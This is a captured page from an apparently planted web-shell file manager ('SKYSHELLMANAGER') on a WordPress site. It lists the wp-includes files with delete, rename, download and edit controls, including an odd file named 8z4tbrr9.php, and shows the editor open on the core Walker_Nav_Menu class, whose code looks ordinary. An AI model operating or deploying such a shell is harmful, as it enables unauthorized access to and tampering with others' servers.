ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.4.33

Path:root/home/mountain/public_html/wp-includes/

Name	Size	Perm	Actions
📁 pomo	-	0755	🗑️ 🏷️
📁 style-engine	-	0755	🗑️ 🏷️
📁 certificates	-	0755	🗑️ 🏷️
📁 sodium_compat	-	0755	🗑️ 🏷️
📁 sitemaps	-	0755	🗑️ 🏷️
📁 customize	-	0755	🗑️ 🏷️
📁 rest-api	-	0755	🗑️ 🏷️
📁 fonts	-	0755	🗑️ 🏷️
📁 blocks	-	0755	🗑️ 🏷️
📁 php-compat	-	0755	🗑️ 🏷️
📁 html-api	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 interactivity-api	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 l10n	-	0755	🗑️ 🏷️
📁 theme-compat	-	0755	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 block-supports	-	0755	🗑️ 🏷️
📁 widgets	-	0755	🗑️ 🏷️
📁 ID3	-	0755	🗑️ 🏷️
📁 IXR	-	0755	🗑️ 🏷️
📁 PHPMailer	-	0755	🗑️ 🏷️
📁 Requests	-	0755	🗑️ 🏷️
📁 SimplePie	-	0755	🗑️ 🏷️
📁 Text	-	0755	🗑️ 🏷️
📁 assets	-	0755	🗑️ 🏷️
📁 block-bindings	-	0755	🗑️ 🏷️
📁 block-patterns	-	0755	🗑️ 🏷️
📄 class-wpdb.php	115.51 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 cron.php	41.78 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-widget-factory.php	3.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 kses.php	72.73 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class.wp-styles.php	0.33 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 comment.php	128.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 config.php	34.31 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 global-styles-and-settings.php	20.76 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 general-template.php	168.56 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 functions.wp-styles.php	8.38 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 formatting.php	334.88 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class.wp-dependencies.php	0.36 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 fonts.php	9.52 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-xmlrpc-server.php	210.39 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 feed-rss2.php	3.71 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 feed-rss2-comments.php	4.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 feed-rss.php	1.16 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 link-template.php	154.1 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 feed-atom.php	3.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 feed-atom-comments.php	5.38 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	5080.53 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error-protection.php	4.02 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 embed.php	37.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 embed-template.php	0.33 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 l10n.php	66.92 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-site.php	40.35 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 locale.php	0.16 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 taxonomy.php	172.1 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 rss-functions.php	0.25 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 rss.php	22.57 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 security.php	34.31 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 session.php	0.25 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 sitemaps.php	3.16 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 speculative-loading.php	8.36 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 template-canvas.php	0.53 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 rewrite.php	19.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 template.php	23.59 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 theme-templates.php	6.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 theme.json	8.5 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 update.php	36.62 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 vars.php	6.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-db.php	0.43 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots-template.php	5.06 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 revision.php	30.02 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 media-template.php	61.58 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-network.php	3.69 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 meta.php	63.71 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-blogs.php	25.24 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-default-constants.php	4.81 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-default-filters.php	6.48 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-functions.php	89.44 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-load.php	19.42 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-settings.php	4.1 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 registration.php	0.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-user.php	22.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 nav-menu.php	43.33 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 option.php	100.65 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 pluggable-deprecated.php	6.18 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 pluggable.php	119.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 post-template.php	67.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 post-thumbnail-template.php	10.62 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-walker.php	13.01 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-taxonomy.php	18.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-user-request.php	2.25 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-parser-block.php	2.5 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-comment.php	13.89 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-nav-menu.php	11.76 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-admin-bar.php	17.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-ajax-response.php	5.14 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-application-passwords.php	16.7 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-bindings-registry.php	8.26 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-metadata-registry.php	11.62 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-parser-frame.php	1.97 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-category-dropdown.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-parser.php	11.26 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-pattern-categories-registry.php	5.25 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-patterns-registry.php	10.53 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-template.php	1.99 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-templates-registry.php	7.06 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-type-registry.php	4.9 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-type.php	16.86 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-category.php	8.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-smtp.php	0.45 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-classic-to-block-menu-converter.php	3.99 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 bookmark.php	15.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess	0.17 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 8z4tbrr9.php	1.11 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 atomlib.php	11.79 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 author-template.php	18.51 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 block-bindings.php	5.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 block-template-utils.php	60.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 blocks.php	110.4 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 cache-compat.php	5.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-simplepie.php	0.44 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 capabilities.php	41.72 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 category-template.php	55.67 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 category.php	12.53 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-IXR.php	2.55 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-feed.php	0.53 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-pop3.php	20.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-requests.php	2.18 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block.php	22.5 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-control.php	25.25 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-user-query.php	42.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-simplepie-sanitize-kses.php	1.87 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-recovery-mode-cookie-service.php	6.72 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-recovery-mode-key-service.php	4.77 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-recovery-mode-link-service.php	3.38 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-rewrite.php	62.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-role.php	2.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-roles.php	8.38 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-simplepie-file.php	3.33 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-site-query.php	30.88 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-post-type.php	29.96 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-site.php	7.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-speculation-rules.php	7.35 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-tax-query.php	19.1 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-term-query.php	39.91 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-theme-json-resolver.php	34.9 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-theme-json-schema.php	7.19 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-theme-json.php	159.71 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-post.php	6.34 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-paused-extensions-storage.php	4.99 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-manager.php	197.84 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-ixr-client.php	3.42 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-panel.php	10.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-section.php	10.95 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-dependencies.php	14.78 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-duotone.php	39.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-error.php	7.33 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-feed-cache.php	0.95 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-cookie.php	7.22 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-requests-hooks.php	1.97 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-object-cache.php	17.11 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-requests-response.php	4.3 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http.php	40.6 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-image-editor-imagick.php	33.92 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-locale-switcher.php	6.62 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-locale.php	16.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-matchesmapregex.php	1.79 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-meta-query.php	29.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: class-walker-nav-menu.php

<?php
/**
 * Nav Menu API: Walker_Nav_Menu class
 *
 * @package WordPress
 * @subpackage Nav_Menus
 * @since 4.6.0
 */

/**
 * Core class used to implement an HTML list of nav menu items.
 *
 * @since 3.0.0
 *
 * @see Walker
 */
class Walker_Nav_Menu extends Walker {
	/**
	 * What the class handles.
	 *
	 * @since 3.0.0
	 * @var string
	 *
	 * @see Walker::$tree_type
	 */
	public $tree_type = array( 'post_type', 'taxonomy', 'custom' );

/**
	 * Database fields to use.
	 *
	 * @since 3.0.0
	 * @todo Decouple this.
	 * @var string[]
	 *
	 * @see Walker::$db_fields
	 */
	public $db_fields = array(
		'parent' => 'menu_item_parent',
		'id'     => 'db_id',
	);

/**
	 * The URL to the privacy policy page.
	 *
	 * @since 6.8.0
	 * @var string
	 */
	private $privacy_policy_url;

/**
	 * Constructor.
	 *
	 * @since 6.8.0
	 */
	public function __construct() {
		$this->privacy_policy_url = get_privacy_policy_url();
	}

/**
	 * Starts the list before the elements are added.
	 *
	 * @since 3.0.0
	 *
	 * @see Walker::start_lvl()
	 *
	 * @param string   $output Used to append additional content (passed by reference).
	 * @param int      $depth  Depth of menu item. Used for padding.
	 * @param stdClass $args   An object of wp_nav_menu() arguments.
	 */
	public function start_lvl( &$output, $depth = 0, $args = null ) {
		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
			$t = '';
			$n = '';
		} else {
			$t = "\t";
			$n = "\n";
		}
		$indent = str_repeat( $t, $depth );

// Default class.
		$classes = array( 'sub-menu' );

/**
		 * Filters the CSS class(es) applied to a menu list element.
		 *
		 * @since 4.8.0
		 *
		 * @param string[] $classes Array of the CSS classes that are applied to the menu `<ul>` element.
		 * @param stdClass $args    An object of `wp_nav_menu()` arguments.
		 * @param int      $depth   Depth of menu item. Used for padding.
		 */
		$class_names = implode( ' ', apply_filters( 'nav_menu_submenu_css_class', $classes, $args, $depth ) );

$atts          = array();
		$atts['class'] = ! empty( $class_names ) ? $class_names : '';

/**
		 * Filters the HTML attributes applied to a menu list element.
		 *
		 * @since 6.3.0
		 *
		 * @param array $atts {
		 *     The HTML attributes applied to the `<ul>` element, empty strings are ignored.
		 *
		 *     @type string $class    HTML CSS class attribute.
		 * }
		 * @param stdClass $args      An object of `wp_nav_menu()` arguments.
		 * @param int      $depth     Depth of menu item. Used for padding.
		 */
		$atts       = apply_filters( 'nav_menu_submenu_attributes', $atts, $args, $depth );
		$attributes = $this->build_atts( $atts );

$output .= "{$n}{$indent}<ul{$attributes}>{$n}";
	}

/**
	 * Ends the list of after the elements are added.
	 *
	 * @since 3.0.0
	 *
	 * @see Walker::end_lvl()
	 *
	 * @param string   $output Used to append additional content (passed by reference).
	 * @param int      $depth  Depth of menu item. Used for padding.
	 * @param stdClass $args   An object of wp_nav_menu() arguments.
	 */
	public function end_lvl( &$output, $depth = 0, $args = null ) {
		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
			$t = '';
			$n = '';
		} else {
			$t = "\t";
			$n = "\n";
		}
		$indent  = str_repeat( $t, $depth );
		$output .= "$indent</ul>{$n}";
	}

/**
	 * Starts the element output.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 The {@see 'nav_menu_item_args'} filter was added.
	 * @since 5.9.0 Renamed `$item` to `$data_object` and `$id` to `$current_object_id`
	 *              to match parent class for PHP 8 named parameter support.
	 * @since 6.7.0 Removed redundant title attributes.
	 *
	 * @see Walker::start_el()
	 *
	 * @param string   $output            Used to append additional content (passed by reference).
	 * @param WP_Post  $data_object       Menu item data object.
	 * @param int      $depth             Depth of menu item. Used for padding.
	 * @param stdClass $args              An object of wp_nav_menu() arguments.
	 * @param int      $current_object_id Optional. ID of the current menu item. Default 0.
	 */
	public function start_el( &$output, $data_object, $depth = 0, $args = null, $current_object_id = 0 ) {
		// Restores the more descriptive, specific name for use within this method.
		$menu_item = $data_object;

if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
			$t = '';
			$n = '';
		} else {
			$t = "\t";
			$n = "\n";
		}
		$indent = ( $depth ) ? str_repeat( $t, $depth ) : '';

$classes   = empty( $menu_item->classes ) ? array() : (array) $menu_item->classes;
		$classes[] = 'menu-item-' . $menu_item->ID;

/**
		 * Filters the arguments for a single nav menu item.
		 *
		 * @since 4.4.0
		 *
		 * @param stdClass $args      An object of wp_nav_menu() arguments.
		 * @param WP_Post  $menu_item Menu item data object.
		 * @param int      $depth     Depth of menu item. Used for padding.
		 */
		$args = apply_filters( 'nav_menu_item_args', $args, $menu_item, $depth );

/**
		 * Filters the CSS classes applied to a menu item's list item element.
		 *
		 * @since 3.0.0
		 * @since 4.1.0 The `$depth` parameter was added.
		 *
		 * @param string[] $classes   Array of the CSS classes that are applied to the menu item's `<li>` element.
		 * @param WP_Post  $menu_item The current menu item object.
		 * @param stdClass $args      An object of wp_nav_menu() arguments.
		 * @param int      $depth     Depth of menu item. Used for padding.
		 */
		$class_names = implode( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $menu_item, $args, $depth ) );

/**
		 * Filters the ID attribute applied to a menu item's list item element.
		 *
		 * @since 3.0.1
		 * @since 4.1.0 The `$depth` parameter was added.
		 *
		 * @param string   $menu_item_id The ID attribute applied to the menu item's `<li>` element.
		 * @param WP_Post  $menu_item    The current menu item.
		 * @param stdClass $args         An object of wp_nav_menu() arguments.
		 * @param int      $depth        Depth of menu item. Used for padding.
		 */
		$id = apply_filters( 'nav_menu_item_id', 'menu-item-' . $menu_item->ID, $menu_item, $args, $depth );

$li_atts          = array();
		$li_atts['id']    = ! empty( $id ) ? $id : '';
		$li_atts['class'] = ! empty( $class_names ) ? $class_names : '';

/**
		 * Filters the HTML attributes applied to a menu's list item element.
		 *
		 * @since 6.3.0
		 *
		 * @param array $li_atts {
		 *     The HTML attributes applied to the menu item's `<li>` element, empty strings are ignored.
		 *
		 *     @type string $class        HTML CSS class attribute.
		 *     @type string $id           HTML id attribute.
		 * }
		 * @param WP_Post  $menu_item The current menu item object.
		 * @param stdClass $args      An object of wp_nav_menu() arguments.
		 * @param int      $depth     Depth of menu item. Used for padding.
		 */
		$li_atts       = apply_filters( 'nav_menu_item_attributes', $li_atts, $menu_item, $args, $depth );
		$li_attributes = $this->build_atts( $li_atts );

$output .= $indent . '<li' . $li_attributes . '>';

/** This filter is documented in wp-includes/post-template.php */
		$title = apply_filters( 'the_title', $menu_item->title, $menu_item->ID );

// Save filtered value before filtering again.
		$the_title_filtered = $title;

/**
		 * Filters a menu item's title.
		 *
		 * @since 4.4.0
		 *
		 * @param string   $title     The menu item's title.
		 * @param WP_Post  $menu_item The current menu item object.
		 * @param stdClass $args      An object of wp_nav_menu() arguments.
		 * @param int      $depth     Depth of menu item. Used for padding.
		 */
		$title = apply_filters( 'nav_menu_item_title', $title, $menu_item, $args, $depth );

$atts           = array();
		$atts['target'] = ! empty( $menu_item->target ) ? $menu_item->target : '';
		$atts['rel']    = ! empty( $menu_item->xfn ) ? $menu_item->xfn : '';

if ( ! empty( $menu_item->url ) ) {
			if ( $this->privacy_policy_url === $menu_item->url ) {
				$atts['rel'] = empty( $atts['rel'] ) ? 'privacy-policy' : $atts['rel'] . ' privacy-policy';
			}

$atts['href'] = $menu_item->url;
		} else {
			$atts['href'] = '';
		}

$atts['aria-current'] = $menu_item->current ? 'page' : '';

// Add title attribute only if it does not match the link text (before or after filtering).
		if ( ! empty( $menu_item->attr_title )
			&& trim( strtolower( $menu_item->attr_title ) ) !== trim( strtolower( $menu_item->title ) )
			&& trim( strtolower( $menu_item->attr_title ) ) !== trim( strtolower( $the_title_filtered ) )
			&& trim( strtolower( $menu_item->attr_title ) ) !== trim( strtolower( $title ) )
		) {
			$atts['title'] = $menu_item->attr_title;
		} else {
			$atts['title'] = '';
		}

/**
		 * Filters the HTML attributes applied to a menu item's anchor element.
		 *
		 * @since 3.6.0
		 * @since 4.1.0 The `$depth` parameter was added.
		 *
		 * @param array $atts {
		 *     The HTML attributes applied to the menu item's `<a>` element, empty strings are ignored.
		 *
		 *     @type string $title        Title attribute.
		 *     @type string $target       Target attribute.
		 *     @type string $rel          The rel attribute.
		 *     @type string $href         The href attribute.
		 *     @type string $aria-current The aria-current attribute.
		 * }
		 * @param WP_Post  $menu_item The current menu item object.
		 * @param stdClass $args      An object of wp_nav_menu() arguments.
		 * @param int      $depth     Depth of menu item. Used for padding.
		 */
		$atts       = apply_filters( 'nav_menu_link_attributes', $atts, $menu_item, $args, $depth );
		$attributes = $this->build_atts( $atts );

$item_output  = $args->before;
		$item_output .= '<a' . $attributes . '>';
		$item_output .= $args->link_before . $title . $args->link_after;
		$item_output .= '</a>';
		$item_output .= $args->after;

/**
		 * Filters a menu item's starting output.
		 *
		 * The menu item's starting output only includes `$args->before`, the opening `<a>`,
		 * the menu item's title, the closing `</a>`, and `$args->after`. Currently, there is
		 * no filter for modifying the opening and closing `<li>` for a menu item.
		 *
		 * @since 3.0.0
		 *
		 * @param string   $item_output The menu item's starting HTML output.
		 * @param WP_Post  $menu_item   Menu item data object.
		 * @param int      $depth       Depth of menu item. Used for padding.
		 * @param stdClass $args        An object of wp_nav_menu() arguments.
		 */
		$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $menu_item, $depth, $args );
	}

/**
	 * Ends the element output, if needed.
	 *
	 * @since 3.0.0
	 * @since 5.9.0 Renamed `$item` to `$data_object` to match parent class for PHP 8 named parameter support.
	 *
	 * @see Walker::end_el()
	 *
	 * @param string   $output      Used to append additional content (passed by reference).
	 * @param WP_Post  $data_object Menu item data object. Not used.
	 * @param int      $depth       Depth of page. Not Used.
	 * @param stdClass $args        An object of wp_nav_menu() arguments.
	 */
	public function end_el( &$output, $data_object, $depth = 0, $args = null ) {
		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
			$t = '';
			$n = '';
		} else {
			$t = "\t";
			$n = "\n";
		}
		$output .= "</li>{$n}";
	}

/**
	 * Builds a string of HTML attributes from an array of key/value pairs.
	 * Empty values are ignored.
	 *
	 * @since 6.3.0
	 *
	 * @param  array $atts Optional. An array of HTML attribute key/value pairs. Default empty array.
	 * @return string A string of HTML attributes.
	 */
	protected function build_atts( $atts = array() ) {
		$attribute_string = '';
		foreach ( $atts as $attr => $value ) {
			if ( false !== $value && '' !== $value && is_scalar( $value ) ) {
				$value             = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );
				$attribute_string .= ' ' . $attr . '="' . $value . '"';
			}
		}
		return $attribute_string;
	}
}

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v7.4.33

Edit: class-walker-nav-menu.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.4.33